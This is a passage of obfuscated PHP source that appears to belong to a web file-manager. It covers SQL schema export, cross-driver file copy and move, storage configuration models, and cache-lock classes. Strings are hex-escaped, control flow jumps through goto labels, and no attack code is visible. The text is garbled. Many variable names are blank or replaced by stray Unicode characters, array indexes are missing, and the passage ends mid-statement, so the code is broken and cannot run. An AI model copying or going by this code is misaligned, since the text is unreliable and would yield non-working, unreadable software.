as $߄) { $ؗ = array($ح[118] . $߄[$ح[1121]] . $ح[118], isset($݈܉[$߄[$ح[1122]]]) ? $݈܉[$߄[$ح[1122]]] : $߄[$ح[1123]], $߄[$ح[1124]] == $ح[900] ? $ح[1125] : $ح[1126], $߄[$ح[1121]] == $ ? $ح[1127] : $ح[12], $߄[$ح[951]] ? strtoupper(str_replace($ح[11], $ح[12], $߄[$ح[951]])) : $ح[12]); $Ñ[] = trim(implode($ح[53], $ؗ)); } $ = array($ح[1128] . $ֿ̣ . $ح[1129], $ح[1130] . $ֿ̣ . $ح[1131], implode($ح[50] . PHP_EOL, $Ñ), $ح[948]); $ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $ح[13]) { return $; } $䪪 = array($ح[803] => $ۅ, $ح[13] => $); return $ ? $䪪[$] : $䪪; } public function sqlFromSqlite($ԧ, $ٓ = '') { $ɗ =& $_SERVER[]; $ = $this->model()->db(); $Ϊ = "\x50\x52\x41\x47\115\101\40\x54\x41\x42\114\x45\137\x49\x4e\x46\x4f\x20\50\47{$ԧ}\47\51"; $͢ = "\x53\105\114\105\x43\x54\x20\x2a\x20\x46\x52\x4f\115\40\163\161\154\x69\x74\x65\x5f\155\141\163\164\145\x72\40\127\110\105\122\x45\40\164\x62\x6c\137\156\x61\x6d\x65\40\75\40\47{$ԧ}\47"; $ܴ = $->query($Ϊ); if (empty($ܴ)) { $М = array($ɗ[803] => $ɗ[12], $ɗ[13] => $ɗ[12]); return $ٓ ? $М[$ٓ] : $М; } $Ğ = $->query($͢); $nj = $ = array(); foreach ($Ğ as $) { if ($[$ɗ[33]] == $ɗ[279]) { $nj[] = $[$ɗ[1132]]; } else { $[$[$ɗ[32]]] = $[$ɗ[1132]]; } } $ԍ = array_merge(array($ɗ[1128] . $ԧ . $ɗ[118]), $nj, array_values($)); $ԍ = implode($ɗ[71] . PHP_EOL, $ԍ) . $ɗ[71]; if ($ٓ && $ٓ == $ɗ[13]) { return $ԍ; } $Ͷ = array(); $鈄 = array($ɗ[1120] => $ɗ[1133], $ɗ[315] => $ɗ[1134]); $燥ݾ = $ɗ[12]; foreach ($ܴ as $) { if ($[$ɗ[57]] == $ɗ[88]) { $燥ݾ = $[$ɗ[32]]; } $ = array($ɗ[385] . $[$ɗ[32]] . $ɗ[385], isset($鈄[$[$ɗ[33]]]) ? $鈄[$[$ɗ[33]]] : $[$ɗ[33]], $[$ɗ[35]] == $ɗ[88] ? $ɗ[1125] : $ɗ[1135] . $[$ɗ[56]], $[$ɗ[57]] == $ɗ[88] ? $ɗ[1136] : $ɗ[12]); $Ͷ[] = trim(implode($ɗ[53], $)); } foreach ($ as $ => $߹) { $ = str_replace($ɗ[1137] . $ԧ . $ɗ[11], $ɗ[12], $); $ܦ = str_replace(array($ɗ[118], $ɗ[959]), $ɗ[385], substr($߹, stripos($߹, $ɗ[260]))); if ($ == $ɗ[1114]) { $ = $ɗ[1138] . $燥ݾ . $ɗ[1139]; } else { $ = (stripos($, $ɗ[11]) ? $ɗ[1140] : $ɗ[12]) . ($ɗ[1141] . $ . $ɗ[1142] . $ܦ); } $Ͷ[] = $; } $ʹ = array($ɗ[1143] . $ԧ . $ɗ[1144], $ɗ[1145] . $ԧ . $ɗ[1146], implode($ɗ[50] . PHP_EOL, $Ͷ), $ɗ[1147]); $ʬ = implode(PHP_EOL, $ʹ); if ($ٓ && $ٓ == $ɗ[803]) { return $ʬ; } $М = array($ɗ[803] => $ʬ, $ɗ[13] => $ԍ); return $ٓ ? $М[$ٓ] : $М; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1148]] = $[1149] . $; Hook::trigger($[1149] . $ . $[1150], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1151])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1149] . $ . $[1152], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($Օ, $ޤ, $ = false, $ݵ = false) { return self::copyMoveStart($Օ, $ޤ, $, $_SERVER[][546], $ݵ); } public static function move($ʈ, $, $ = false, $召 = false) { return self::copyMoveStart($ʈ, $, $, $_SERVER[][548], $召); } private static function copyMoveStart($Ҫ, $, $, $Ã, $) { $ =& $_SERVER[]; $쏁 = array($Ҫ, $, $, $); Hook::trigger($[1149] . $à . $[1150], $쏁); $ꊦ = self::copyMove($Ҫ, $, $, $Ã, $); Hook::trigger($[1149] . $à . $[1152], $쏁, $ꊦ); return $ꊦ; } public static function saveFile($ɳ, $, $ = true) { $ =& $_SERVER[]; $㖘 = self::info($); $Á = self::driverMake($ɳ); $ = self::driverMake($); $́ = !1; if ($->pathParse[$[1153]]) { $́ = $; $ = $->pathParse[$[1153]]; $ = self::driverMake($); } if ($Á->pathParse[$[1153]]) { $ߩ嬍 = $Á->pathParse[$[1153]]; $Á = self::driverMake($ߩ嬍); } $ = $->pathFather($); $Ź = !0; if (!$ && self::driverIsSame($Á, $)) { $Ź = !1; } $й = self::copyFile($Á, $ɳ, $, $, $㖘[$[32]], $Ź); if ($́) { $й = $́->getPathOuter($й); } return $й; } private static function copyMove($݅, $ₕ, $, $堼, $ = false) { $ =& $_SERVER[]; if (!$݅ || $݅ == $[8] || !$ₕ) { return !1; } ignore_timeout(); $Ӿ = self::driverMake($݅); $ˏ = self::driverMake($ₕ); $߷Ɔ = $堼 == $[548]; $犴 = !1; if ($ˏ->pathParse[$[1153]]) { $犴 = $ˏ; $ₕ = $ˏ->pathParse[$[1153]]; $ˏ = self::driverMake($ₕ); } if ($Ӿ->pathParse[$[1153]]) { $݅ = $Ӿ->pathParse[$[1153]]; $Ӿ = self::driverMake($݅); } self::check($Ӿ, $݅, $ˏ, $ₕ); Hook::trigger($[1154], $Ӿ, $݅, $ˏ, $ₕ); $ኜ = self::driverIsSame($Ӿ, $ˏ); if ($ኜ) { if ($堼 == $[548] && !method_exists($ˏ, $[1155]) && trim($ₕ, $[8]) == trim($ˏ->pathFather($݅), $[8])) { if ($Ӿ->pathThis($݅) != $ && !$Ӿ->isTypeObject()) { return $Ӿ->rename($݅, $); } return $ˏ->getPathOuter($݅); } if (method_exists($ˏ, $堼)) { return $ˏ->{$堼}($݅, $ₕ, $, $); } } if ($ኜ && $堼 == $[548] && $ˏ->getType() == $[106]) { $ = $ˏ->movePath($݅, $ₕ, $); if ($) { return $; } } $ = $Ӿ->isFile($݅); if (!$ && $ˏ->getType() == $[756] && $Ӿ->getType() == $[106]) { $ = $ˏ->copyFolderFromIO($Ӿ, $݅, $ₕ, $, $߷Ɔ, $); } else { $ = self::copyPath($Ӿ, $݅, $ˏ, $ₕ, $, $߷Ɔ, $, $); } if ($ && $߷Ɔ) { $Ӿ->remove($݅); } if ($犴) { $ = $犴->getPathOuter($); } return $; } private static function check($ҝ, $, $ף, &$£) { $ =& $_SERVER[]; if (self::driverIsSame($ҝ, $ף) && $ҝ->isFolder($) && $ҝ->isParentOf($, $£)) { show_json(LNG($[1156]), !1); } if (!$ҝ->exist($)) { show_json(LNG($[105]), !1); } } private static function copyPath($, $, $Ǽ, $, $, $, $˂Ԭ, $ = false, $Ď = true) { $ =& $_SERVER[]; $ԡ = empty($) && $ !== $[198] ? $->pathThis($) : $; if ($) { $Җ = $Ǽ->fileNameExist($, $ԡ); $ҳѡ = $ԡ; $ԡ = $Ǽ->fileNameAuto($, $ԡ, $, !$˂Ԭ); if (!$Җ || $ҳѡ != $ԡ) { $ = !1; } if ($Ď && !$) { $Ǽ->_data[$[1157]] = !0; } } if ($˂Ԭ) { return self::copyFile($, $, $Ǽ, $, $ԡ, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $ԡ; $džΉ = $Ǽ->mkdir($Ǽ->getPath($), $); $ = $Ǽ->getPathInner($džΉ); $ӆٔ = $->listPath($, !0); $ӆٔ = is_array($ӆٔ) ? $ӆٔ : array($[83] => array(), $[82] => array()); $ι = array_merge($ӆٔ[$[83]], $ӆٔ[$[82]]); foreach ($ι as $) { $ = $[$[33]] == $[200]; $ = $->getPathInner($[$[84]]); $妏 = self::copyPath($, $, $Ǽ, $, $, $, $, !1, !1); if (!$妏) { IO::errorTips($[1158] . $ . $[70] . $); } } self::copyMoveKeepInfo($, $, $džΉ); return $džΉ; } private static function copyFile($ɪ, $ò, $Ѥ, $ߕ, $̧, $ś) { $ =& $_SERVER[]; $ߕ = $Ѥ->getPath(rtrim($ߕ, $[8]) . $[8] . $̧); $͠ = $[1159] . time() . rand_string(5); Hook::trigger($[1160], $ɪ, $ò, $Ѥ, $ߕ, $̧, $͠); if (self::driverIsSame($ɪ, $Ѥ)) { if ($ś) { $ߌڪ = $Ѥ->moveFile($ò, $ߕ); } else { $ߌڪ = $Ѥ->copyFile($ò, $ߕ); } Hook::trigger($[1161], $ɪ, $ò, $Ѥ, $ߕ, $̧, $ߌڪ); self::copyMoveKeepInfo($ɪ, $ò, $ߌڪ); return $ߌڪ; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[795]]) { $ = $GLOBALS[$[6]][$[89]][$[795]]; } $ө = $; mk_dir($ө); $ = $ө . $͠; $ = $; $ = $ɪ->download($ò, $); $ = $ɪ->iconvApp($); if (substr($, strlen($)) == $) { $ś = !0; } $ߌڪ = $Ѥ->upload($ߕ, $, $ś); self::remove($); Hook::trigger($[1161], $ɪ, $ò, $Ѥ, $ߕ, $̧, $ߌڪ); self::copyMoveKeepInfo($ɪ, $ò, $ߌڪ); return $ߌڪ; } private static function copyMoveKeepInfo($, $ŧ, $ז) { if (!$ז) { return; } $ = $->info($ŧ); if (!is_array($)) { return; } IO::setModifyTime($ז, $[$_SERVER[][85]]); } public static function pathFather($؊) { $ = IO::init($؊); $Ȫ = $->pathFather($->path); return $->getPathOuter($Ȫ); } public static function fileOut($ɏ, $ǖ = false, $刳 = false, $ћ = '') { $ߨ = self::driverMake($ɏ); if ($ߨ->isFileOutServer()) { return $ߨ->fileOutServer($ɏ, $ǖ, $刳, $ћ); } return $ߨ->fileOut($ɏ, $ǖ, $刳, $ћ); } public static function fileOutImage($ǵ߃, $ = 250) { $ˡ = array(250, 600, 1200, 2000, 3000, 5000); for ($槉 = 0; $槉 < count($ˡ); $槉++) { if ($槉 == 0 && $ <= $ˡ[$槉]) { $ = $ˡ[$槉]; break; } else { if ($ > $ˡ[$槉 - 1] && $ <= $ˡ[$槉]) { $ = $ˡ[$槉]; break; } else { if ($槉 == count($ˡ) - 1 && $ > $ˡ[$槉]) { $ = $ˡ[$槉]; break; } } } } $ = self::driverMake($ǵ߃); if ($->isFileOutServer()) { return $->fileOutImageServer($ǵ߃, $); } return $->fileOutImage($ǵ߃, $); } private static function driverIsSame($, $驸) { $ӌ =& $_SERVER[]; $˄ = $->getType(); $ = $驸->getType(); if ($˄ != $) { return !1; } if ($˄ == $ӌ[756]) { return !0; } if ($˄ == $ӌ[106]) { return !0; } if ($->pathDriver == $驸->pathDriver) { return !0; } return !1; } public static function copyUpdate($ݪў, $ŋ) { $Ѫ =& $_SERVER[]; if (!IO::exist($ݪў)) { return !1; } if (!IO::exist($ŋ)) { IO::mkdir($ŋ); } $ς = array_to_keyvalue(self::listAllSimple($ݪў), $Ѫ[84]); $ˍ = array_to_keyvalue(self::listAllSimple($ŋ), $Ѫ[84]); $ݕ = array(); $Ȅ = array(); foreach ($ς as $˻ => $) { if (isset($ˍ[$˻])) { if ($[$Ѫ[75]] == 1) { continue; } if ($ˍ[$˻][$Ѫ[76]] == $[$Ѫ[76]]) { continue; } } if ($[$Ѫ[75]] == 1) { $Ȅ[] = $ŋ . $Ѫ[8] . trim($˻, $Ѫ[8]); continue; } $舒 = strstr(trim($˻, $Ѫ[8]), $Ѫ[8]) ? get_path_father($˻) : $Ѫ[12]; $ݕ[] = array($Ѫ[1162] => $[$Ѫ[86]], $Ѫ[1163] => rtrim($ŋ, $Ѫ[8]) . $Ѫ[8] . $舒, $Ѫ[1164] => $); } $Ӵł = array($Ѫ[200] => $ݕ, $Ѫ[75] => $Ȅ); Hook::trigger($Ѫ[1165], $ݪў, $ŋ, $Ӵł); foreach ($Ȅ as $) { IO::mkdir($); } foreach ($ݕ as $) { IO::copy($[$Ѫ[1162]], $[$Ѫ[1163]], REPEAT_REPLACE); } } public static function fileSubstr($, $µ, $֑ = false) { $ =& $_SERVER[]; $Ĉޑ = self::driverMake($); $Ի = $Ĉޑ->size($); $ = $µ; $נ֍ݑ = $֑; if ($µ < 0) { $µ = $Ի + $µ; } if ($֑ === !1) { $֑ = $Ի - $µ; } if ($µ + $֑ > $Ի) { $֑ = $Ի - $µ; } if (!$Ի && $Ĉޑ->getType() == $[106] && !$Ĉޑ->exist($)) { $ = get_path_this($); $ԍ = parse_url_query($); if (is_array($ԍ) && isset($ԍ[$[32]])) { $ = urldecode($ԍ[$[32]]); } throw new Exception($[1166] . LNG($[1167]) . $[968] . clear_html($) . $[12]); } if ($֑ <= 0) { return $[12]; } if ($µ < 0 || $µ >= $Ի || $֑ > 1024 * 1024 * 10) { throw new Exception("\146\x69\154\x65\122\145\x61\144\40\x65\x72\162\x6f\x72\x21\x20\163\x74\141\x72\x74\x3d{$µ}\73\x6c\145\x6e\x67\164\150\75{$֑}\x3b\40\x73\151\x7a\145\75{$Ի}\73"); } $ = $Ĉޑ->fileSubstr($, $µ, $֑); if (!$ && $֑ && isset($GLOBALS[$[1168]])) { throw new Exception($GLOBALS[$[1168]][$[1169]]); } return $; } private static function driverMake(&$ٴ) { $՜ =& $_SERVER[]; $˳ = KodIO::parse($ٴ); if (!self::$driverListSystem) { $ = Model($՜[766])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $՜[399]); } if ($˳[$՜[33]] == KodIO::KOD_IO && !self::$driverListSystem[$˳[$՜[399]]]) { return !1; } $ٴ = $˳[$՜[1170]]; $߫ô = self::driverGet($˳, $ٴ); return $߫ô; } private static function driverGet($ǵ, &$) { $ڡ =& $_SERVER[]; $ķ〪 = $ǵ[$ڡ[1171]]; $ԫ = $ǵ[$ڡ[399]]; switch ($ǵ[$ڡ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$ԫ]; break; case KodIO::KOD_SOURCE: $ = $ԫ . $; $ = array($ڡ[1172] => $ڡ[1173], $ڡ[6] => $ǵ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ң = $GLOBALS[$ڡ[1174]]; self::$driverListUser = array_to_keyvalue($ң, $ڡ[399]); } $ = self::$driverListUser[$ԫ]; break; case KodIO::KOD_SHARE_LINK: $ = array($ڡ[1172] => $ڡ[1175], $ڡ[6] => $ǵ); $ = Action($ڡ[1176])->sharePathInfo($ǵ[$ڡ[84]]); $ = $[$ڡ[402]]; if (!$[$ڡ[402]]) { $ʚ = Model($ڡ[592])->getInfo($[$ڡ[593]]); $ = KodIO::clear($ʚ[$ڡ[1177]] . $ǵ[$ڡ[1170]]); $ǵ[$ڡ[486]] = $ʚ; $ǵ[$ڡ[1153]] = $; $ = array($ڡ[1172] => $ڡ[1178], $ڡ[6] => $ǵ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ڡ[1172] => $ڡ[1179], $ڡ[6] => $ǵ); $ʚ = Model($ڡ[592])->getInfo($ǵ[$ڡ[399]]); if ($ʚ[$ڡ[402]] == $ڡ[198]) { $ = KodIO::clear($ʚ[$ڡ[1177]] . $ǵ[$ڡ[1170]]); $ǵ[$ڡ[486]] = $ʚ; $ǵ[$ڡ[1153]] = $; $ = array($ڡ[1172] => $ڡ[1180], $ڡ[6] => $ǵ); } else { if (!$) { $ = $ʚ[$ڡ[402]]; } } break; default: $ = $ǵ[$ڡ[84]]; $ = array($ڡ[1172] => $ڡ[1181]); break; } $㓿 = $ǵ[$ڡ[84]]; if (!isset(self::$driverCache[$㓿])) { $Ԟ = strtolower($[$ڡ[95]]); $д = $GLOBALS[$ڡ[6]][$ڡ[89]][$ڡ[825]]; $֯ר = $ڡ[74] . (isset($д[$Ԟ]) ? $д[$Ԟ] : ucfirst($Ԟ)); if (!class_exists($֯ר)) { show_json("{$֯ר}\40\x6e\x6f\164\x20\x65\x78\x69\x73\x74\x73\41", !1); } $٪ = isset($[$ڡ[6]]) ? $[$ڡ[6]] : !1; self::$driverCache[$㓿] = new $֯ר($٪); } $ɹް = self::$driverCache[$㓿]; $ɹް->pathDriver = $ķ〪; $ɹް->pathBase = $ڡ[12]; if (isset($[$ڡ[6]][$ڡ[1182]])) { $ɹް->pathBase = rtrim($[$ڡ[6]][$ڡ[1182]], $ڡ[8]) . $ڡ[8]; $ = $ɹް->pathBase . ltrim($, $ڡ[8]); } $ = $ɹް->getPath($); if (isset($ǵ[$ڡ[1153]])) { $ = $ǵ[$ڡ[1153]]; } $ɹް->path = $; return $ɹް; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $惶 = array(); $ = 1000; if ($ === -1) { return $惶 ? $惶[count($惶) - 1] : $[12]; } if ($ === !1) { return implode($[231], $惶); } if (count($惶) >= $) { $惶 = array_slice($惶, $ * 0.5, $); } $惶[] = $; write_log($[162] . ACTION . $[1183] . $, $[1184]); } public static function getLastError($嗲 = '') { $Ϙ = self::errorTips(-1); return $Ϙ ? $Ϙ : $嗲; } } goto F◝; f: class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\56\x73\157\x75\162\143\x65\123\145\x63\162\145\164\x4c\x69\163\164"; public $field = array("\163\x6f\165\162\143\145\111\x44", "\x74\171\x70\x65\x49\104", "\x63\x72\x65\x61\164\x65\125\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\x2e\x73\x74\157\x72\x61\147\x65\114\x69\x73\x74"; public $field = array("\x6e\141\155\145", "\163\x69\x7a\x65\x4d\x61\170", "\x73\x79\163\164\145\x6d", "\x64\145\x66\x61\x75\x6c\164", "\144\x72\151\x76\145\x72", "\143\157\156\x66\151\x67"); public function listData($ׄ = false, $ʠ = "\155\157\x64\x69\x66\x79\x54\151\155\x65", $ = false) { $ =& $_SERVER[]; $ڞ = parent::listData($ׄ, $ʠ, $); if ($ׄ) { return $ڞ; } $؉ = $this->ioSizeUseGet(array_to_keyvalue($ڞ, $[12], $[399])); foreach ($ڞ as $Е => $) { unset($ڞ[$Е][$[6]]); $ڞ[$Е][$[1850]] = isset($؉[$[$[399]]]) ? $؉[$[$[399]]] : 0; } return $ڞ; } public function ioSizeUseGet($ܼу) { $ =& $_SERVER[]; if (!$ܼу) { return array(); } $ = $[2178] . implode($[50], $ܼу); $֔ = Cache::get($); if ($֔) { return $֔; } $ = array($[816] => $[399], $[2179] => $[76]); $ȸ = array($[816] => array($[7], $ܼу)); $֔ = Model($[788])->field($)->where($ȸ)->group($[816])->select(); $֔ = array_to_keyvalue($֔, $[399], $[76]); Cache::set($, $֔, 600); return $֔; } public function getConfig($׆) { $й = parent::listData($׆); return json_decode($й[$_SERVER[][6]], !0); } public function update($, $ݔ) { $ޚ =& $_SERVER[]; $ = $ݔ[$ޚ[32]]; $ = array_to_keyvalue(parent::listData(), $ޚ[32]); if (isset($[$]) && $[$][$ޚ[399]] != $) { return !1; } $this->checkPwd($, $ݔ); if (isset($ݔ[$ޚ[2180]]) && $ݔ[$ޚ[2180]] == $ޚ[88]) { $this->checkConfig($ݔ); } unset($ݔ[$ޚ[2180]]); $ = parent::update($, $ݔ); if ($ && $ݔ[$ޚ[37]]) { $ = 0; foreach ($ as $Φ) { if ($Φ[$ޚ[37]] && $Φ[$ޚ[399]] != $) { $ = $Φ[$ޚ[399]]; parent::update($Φ[$ޚ[399]], array($ޚ[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $э =& $_SERVER[]; $Ƽ = array_to_keyvalue(parent::listData(), $э[32]); if (isset($Ƽ[$[$э[32]]])) { return !1; } $this->checkConfig($); $Պ = parent::insert($); if ($Պ && $[$э[37]]) { foreach ($Ƽ as $焖¡) { if ($焖¡[$э[37]]) { parent::update($焖¡[$э[399]], array($э[37] => 0)); } } } return $Պ; } public function updateBackup($᠁, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[747])->config(); if ($[$[1640]] != $[88] || $[$[750]] != $) { return; } $˝ = Model($[769])->get($[779]); $˝ = json_decode($˝, !0); if (!$˝) { return; } $˝[$[750]] = $᠁; Model($[769])->set(array($[779] => $˝)); } public function checkPwd($Ձ, &$Ƃ) { $ =& $_SERVER[]; if (empty($Ƃ[$[6]])) { return; } $Փ = json_decode($Ƃ[$[6]], !0); $Ϛ = $[12]; $њ = array($[2181], $[2182], $[891]); foreach ($њ as $) { if (isset($Փ[$])) { $Ϛ = $; break; } } if (!$Ϛ) { return; } $ɛ = $this->getConfig($Ձ); $ߒ = $ɛ[$Ϛ]; $ﱇ덴 = $Փ[$Ϛ]; if ($ﱇ덴 == str_repeat($[189], strlen($ߒ))) { $Փ[$Ϛ] = $ߒ; $Ƃ[$[6]] = json_encode($Փ); } else { if ($ﱇ덴 != $ߒ) { $Ƃ[$[2180]] = $[88]; } } } public function checkConfig(&$߅ǿ, $ = false) { $榅 =& $_SERVER[]; $ƕ = strtolower($߅ǿ[$榅[95]]); $ = json_decode($߅ǿ[$榅[6]], !0); foreach ($ as $ => $) { $[$] = trim($); } $[$榅[2183]] = rand_string(6); $ = $GLOBALS[$榅[6]][$榅[89]][$榅[825]]; $ = isset($[$ƕ]) ? $[$ƕ] : ucfirst($ƕ); $ = $榅[74] . $; if (!$ || !class_exists($)) { if ($) { return LNG($榅[2184]); } write_log(array($榅[2185], $߅ǿ, get_caller_info()), $榅[2186]); show_json(LNG($榅[2184]), !1, $߅ǿ); } $ۙ = new $($); if (in_array($ƕ, $ۙ->objectDriver)) { if (!$ۙ->isBucketCors() && !$ۙ->setBucketCors()) { $ = LNG($榅[2187]); $ .= $榅[2188] . LNG($榅[2189]); if ($) { return $; } show_json($, !1); } } $ = rtrim($[$榅[1182]], $榅[8]) . $榅[8]; $Ċ = $ۙ->getPath($ . $榅[1186]); if (!$ۙ->mkfile($Ċ)) { if ($) { return LNG($榅[2187]); } show_json(LNG($榅[2187]), !1); } $[$榅[1182]] = $; $߅ǿ[$榅[6]] = json_encode($); $߅ǿ[$榅[95]] = $; return !0; } public function driverListSystem() { $үћ =& $_SERVER[]; $ = parent::listData(); $Ցۭ = array(); foreach ($ as $܋) { unset($܋[$үћ[201]], $܋[$үћ[85]]); $܋[$үћ[6]] = json_decode($܋[$үћ[6]], !0); $Ցۭ[] = $܋; } return $Ցۭ; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ц۾ = array_filter_by_field($, $[37], 1); $ц۾ = $ц۾[0]; if ($ц۾) { $ц۾[$[6]] = json_decode($ц۾[$[6]], !0); } return $ц۾; } public function driverInfo($) { $ =& $_SERVER[]; $ϑё = array_to_keyvalue(parent::listData(), $[399]); if (!isset($ϑё[$])) { return !1; } $ = $ϑё[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($Ƽ) { $this->removeShareItems($Ƽ); return parent::remove($Ƽ); } public function removeWithFile($ʿ, $ۦ) { $ =& $_SERVER[]; $ = array($[816] => $ʿ); $ = Model($[471])->where($)->count(); $ט = Model($[471])->where($)->sum($[76]); $ = $ۦ . $[2190] . $ʿ; $ݱƸ = LNG($ۦ == $[548] ? $[2191] : $[2192]); $˨ = new TaskFileTransfer($, $[2186], $, $ݱƸ . "\50{$ʿ}\x29"); $˨->task[$[762]] = (double) $ט; $ = KodIO::defaultDriver(); $ = $[$[399]]; $ρ = "\173\x69\157\72{$}\x7d\57"; $ڥ = !0; $¼ = array(); $ = Model($[200])->where($)->field($[2193])->select(); foreach ($ as $孅) { $٨ = $孅[$[84]]; $㵃 = $ρ . str_replace("\x7b\x69\x6f\x3a{$ʿ}\175\57", $[12], $٨); if (!IO::exist($٨)) { $¼[] = $孅[$[468]]; $˨->updateFileEnd($孅[$[32]], $孅[$[76]]); continue; } if (IO::exist($㵃)) { $˨->updateFileEnd($孅[$[32]], $孅[$[76]]); continue; } if (!IO::move($٨, get_path_father($㵃))) { $ڥ = !1; break; } $ = array($[468] => $孅[$[468]]); $ = array($[816] => $, $[84] => $㵃); Model($[200])->where($)->save($); } $this->removeByFileID($¼); if (!$ڥ) { $˨->stop($); return !1; } $˨->end(); if ($ۦ == $[1830]) { $this->remove($ʿ); } } public function progress($綔º, $Ʌ宬) { return Task::get($Ʌ宬 . $_SERVER[][2190] . $綔º); } private function removeByFileID($Ԕ = array()) { $ =& $_SERVER[]; if (empty($Ԕ)) { return; } $ = array($[468] => array($[7], $Ԕ)); $ = Model($[1341])->where($)->field($[402])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[402]); foreach ($ as $) { Model($[416])->removeNow($, !1); } } private function removeShareItems($Ѭ) { $ =& $_SERVER[]; $뉚 = "\x7b\x69\157\72{$Ѭ}\175\x2f"; $ = array($[402] => 0, $[1177] => array($[383], "{$뉚}\x25")); $㈲ = Model($[1841])->where($)->field($[593])->select(); if (empty($㈲)) { return; } $ꘗ = array_to_keyvalue($㈲, $[12], $[593]); Model($[592])->remove($ꘗ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\x6d\56\x4c\x69\147\150\x74\101\x70\160"; public $modelType = "\x53\x79\x73\164\145\155\x4f\x70\164\151\157\x6e"; public $field = array("\156\x61\155\145", "\147\162\x6f\165\160", "\144\145\163\x63", "\143\157\x6e\164\145\x6e\x74"); public function listData($ = false, $О = "\155\x6f\144\151\146\x79\124\151\155\145", $ = true) { return parent::listData($, $О, $); } public function remove($ר) { $ܲ = $this->findByName($ר); if (!$ܲ) { return !1; } return parent::remove($ܲ[$_SERVER[][399]]); } public function add($ŀ֣) { if ($this->findByName($ŀ֣[$_SERVER[][32]])) { return !1; } return parent::insert($ŀ֣); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findByName($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[399]] != $[$[399]]) { return !1; } return parent::update($[$[399]], $); } } goto bǔ; aߍǍ: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ǽӘ = $GLOBALS[$[6]][$[349]]; self::$cachePath = $ǽӘ[$[200]][$[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $Ѯ = 0) { $кƩ =& $_SERVER[]; $吙 = microtime(!0); $ = $吙 + $Ѯ + 0.0001; $钩 = rtrim(self::$cachePath, $кƩ[8]) . $кƩ[862] . md5($) . $кƩ[859]; if (file_exists($钩) && filemtime($钩) && filemtime($钩) < time() - 10) { @unlink($钩); } do { if (file_exists($钩)) { cacheLockWait(); continue; } $ = fopen($钩, $кƩ[863]); if (!$) { return !1; } $ه囒 = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($кƩ[864] => $, $кƩ[200] => $钩); fwrite($, $); clearstatcache(); if ($ && $ه囒) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ֻ = rtrim(self::$cachePath, $[8]) . $[862] . md5($) . $[859]; return file_exists($ֻ); } public function unlock($) { $ŝ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$ŝ[864]], LOCK_UN); @fclose($[$ŝ[864]]); @unlink($[$ŝ[200]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($ʪ, $ѹ = 10) { $ = Cache::init(); $ = microtime(!0) + $ѹ; while (microtime(!0) < $) { $ = $->get($ʪ); if (!$) { $ջ = $->setLock($ʪ, $, $ѹ); if ($ջ) { return !0; } } else { if ($ < microtime(!0)) { $->set($ʪ, $, $ѹ * 2); if ($->get($ʪ) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($Ҟ) { return Cache::init()->get($Ҟ); } public function unlock($Ҿޞ) { return Cache::init()->remove($Ҿޞ); } } class CacheLockMemcached { public function lock($ؑ, $ޕ = 0) { $ = Cache::init(); $ = microtime(!0) + $ޕ; while (microtime(!0) < $) { $֠ = $->get($ؑ); if (!$֠ || $֠ < microtime(!0)) { $ = $->handle->add($ؑ, $, $ޕ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($ګ) { return Cache::init()->remove($ګ); } } goto a; Eɤ֠: class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\164\x61\142\154\145\x4e\141\155\x65" => "\147\x72\x6f\x75\x70\137\x6d\x65\164\141", "\155\145\x74\x61\x46\151\x65\x6c\144" => "\x67\162\157\165\160\111\104"); protected function cacheFunctionAlias($) { $Ꮝ =& $_SERVER[]; return array($Ꮝ[1939] => array($[0], $Ꮝ[1940]), $Ꮝ[1941] => array($[0], $Ꮝ[1942])); } protected function getInfo($Ý, $ = false) { $㢕 = $this->getInfoSimple($Ý); if (!$㢕) { return !1; } if ($) { return $this->_listDataApplyItem($㢕); } return $this->cacheFunctionGet($_SERVER[][1943], $Ý); } protected function getInfoSimple($, $畆 = false) { $疠 =& $_SERVER[]; if ($畆) { $ʘ = array($疠[1861] => intval($)); $헙 = $this->where($ʘ)->find(); return is_array($헙) ? $헙 : array(); } return $this->cacheFunctionGet($疠[1944], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[432]] && isset($[$[1861]]) && $[$[1861]] == 1) { if ($兵 = 